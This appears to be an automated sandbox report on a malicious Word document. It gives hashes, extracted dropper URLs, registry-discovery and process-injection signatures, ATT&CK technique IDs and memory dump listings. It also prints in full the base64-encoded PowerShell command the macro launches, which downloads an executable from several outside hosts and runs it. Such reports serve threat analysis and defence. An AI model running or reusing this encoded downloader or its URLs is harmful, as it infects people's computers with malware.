545d823a042629cbd1fb6b4874c344010f5d94d584dab152a4f3f54b2d83454b

Analysis

max time kernel
136s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
23-05-2024 21:13

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General

Target

6c462833bfb073ffa98832affbe51d79_JaffaCakes118.doc
Size

199KB
MD5

6c462833bfb073ffa98832affbe51d79
SHA1

4e3d34c498534324c6c337958ef7afa8f901d32b
SHA256

545d823a042629cbd1fb6b4874c344010f5d94d584dab152a4f3f54b2d83454b
SHA512

b5c1305715eacd2337945e93ac4e4accef8ca08773cafc40d139213d2ec9cc9c3a65216c6103cfe64e675bb4d9fc18352ac3dd03f9cc6aa3feb888f4407cfb99
SSDEEP

3072:Zx1Eru6nenAJB7BP7/nhZXKiNKDzaJFUKc0UTE7yZRUV7RJeOzi8e:ZHEy6nenAH7B7fXpEDzYUTE7yZRVUi8e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://hamrahkar.com/7mYq2Q5

exe.dropper

http://duanhoalac.com/ESNeSYv

exe.dropper

http://envoyagemagazine.com/ZOyd7lN7PO

exe.dropper

http://gandamediasolutions.com/dDYg1QbPhF

exe.dropper

http://www.pabloteixeira.com/Oyr3bbN

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3212	1976	PoWersheLL.exe	82

Blocklisted process makes network request 4 IoCs

flow	pid	Process
26	3212	PoWersheLL.exe
28	3212	PoWersheLL.exe
30	3212	PoWersheLL.exe
32	3212	PoWersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1976	WINWORD.EXE
1976	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3212	PoWersheLL.exe
3212	PoWersheLL.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3212	PoWersheLL.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1976	WINWORD.EXE
1976	WINWORD.EXE
1976	WINWORD.EXE
1976	WINWORD.EXE
1976	WINWORD.EXE
1976	WINWORD.EXE
1976	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1976 wrote to memory of 3212	1976	WINWORD.EXE	87
PID 1976 wrote to memory of 3212	1976	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\6c462833bfb073ffa98832affbe51d79_JaffaCakes118.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1976
- C:\Windows\System32\WindowsPowerShell\v1.0\PoWersheLL.exe
  PoWersheLL -e JABHADYAaQBzADMAWgBJAD0AKAAnAHQAbgA5ACcAKwAnAHUAdABtAGsAJwArACcARwAnACkAOwAkAHAAbQBQAGkANwBhAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAaQB0AGkAYQBiADYAagA9ACgAJwBoACcAKwAnAHQAdABwADoALwAvAGgAJwArACcAYQBtAHIAYQBoAGsAJwArACcAYQAnACsAJwByAC4AYwBvAG0ALwA3AG0AJwArACcAWQBxADIAUQA1AEAAaAB0AHQAcAA6AC8ALwBkAHUAYQAnACsAJwBuAGgAbwAnACsAJwBhACcAKwAnAGwAYQBjAC4AJwArACcAYwBvACcAKwAnAG0AJwArACcALwBFAFMATgAnACsAJwBlAFMAJwArACcAWQB2AEAAaAB0AHQAcAA6AC8ALwBlAG4AdgBvAHkAJwArACcAYQAnACsAJwBnAGUAbQAnACsAJwBhAGcAJwArACcAYQB6AGkAbgBlAC4AYwBvAG0ALwBaAE8AeQBkADcAbABOADcAUABPAEAAJwArACcAaAAnACsAJwB0AHQAcAAnACsAJwA6ACcAKwAnAC8ALwBnAGEAbgBkAGEAJwArACcAbQAnACsAJwBlAGQAaQBhAHMAbwBsAHUAdABpAG8AbgBzAC4AYwBvAG0ALwBkAEQAJwArACcAWQAnACsAJwBnADEAJwArACcAUQBiAFAAaABGAEAAaAB0AHQAJwArACcAcAA6AC8AJwArACcALwB3ACcAKwAnAHcAJwArACcAdwAuAHAAYQBiAGwAbwB0AGUAaQB4ACcAKwAnAGUAaQByAGEALgBjAG8AbQAvAE8AeQByADMAYgAnACsAJwBiACcAKwAnAE4AJwApAC4AUwBwAGwAaQB0ACgAJwBAACcAKQA7ACQAWQBwAG4AQQA4ADIAPQAoACcAWQBqAE0AJwArACcANQBrACcAKwAnAEEAUQAnACkAOwAkAHUARQBxAGgAQwAzADkAIAA9ACAAKAAnADMAOQAnACsAJwA3ACcAKQA7ACQAZgA0AFIANABIAEoAbAAxAD0AKAAnAFIAJwArACcARQA3ACcAKwAnADYAdQB6ACcAKQA7ACQAUQB2AHEAQgA0AEYAZAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAHUARQBxAGgAQwAzADkAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABNAHoAagB6ADIAagAgAGkAbgAgACQAYQBpAHQAaQBhAGIANgBqACkAewB0AHIAeQB7ACQAcABtAFAAaQA3AGEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQATQB6AGoAegAyAGoALAAgACQAUQB2AHEAQgA0AEYAZAApADsAJABaADUAbAAxADEANQBvAE0APQAoACcAQwAnACsAJwA5AGkAJwArACcAVQBtAHcAaQBPACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAFEAdgBxAEIANABGAGQAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABRAHYAcQBCADQARgBkADsAJABjAGkAWgBIAFEANABKAD0AKAAnAE4ASwB3AHAAJwArACcAVQA1AEYAJwApADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAWABPADYAYQBvAHoAbQA9ACgAJwBXACcAKwAnAEsAYQAnACsAJwBmADUAdgAnACkAOwA=
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD8F98.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ltkiyuot.dro.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1976-7-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-572-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-4-0x00007FFB0416D000-0x00007FFB0416E000-memory.dmp

Filesize
4KB

Download
memory/1976-1-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-8-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-9-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-6-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-10-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-20-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-12-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-11-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-13-0x00007FFAC1820000-0x00007FFAC1830000-memory.dmp

Filesize
64KB

Download
memory/1976-15-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-16-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-17-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-14-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-19-0x00007FFAC1820000-0x00007FFAC1830000-memory.dmp

Filesize
64KB

Download
memory/1976-18-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-0-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-5-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-3-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-43-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-45-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-574-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-37-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-38-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-573-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-68-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-2-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-519-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-547-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-548-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-549-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/1976-570-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/1976-571-0x00007FFAC4150000-0x00007FFAC4160000-memory.dmp

Filesize
64KB

Download
memory/3212-62-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download
memory/3212-47-0x000001AC15290000-0x000001AC152B2000-memory.dmp

Filesize
136KB

Download
memory/3212-46-0x00007FFB040D0000-0x00007FFB042C5000-memory.dmp

Filesize
2.0MB

Download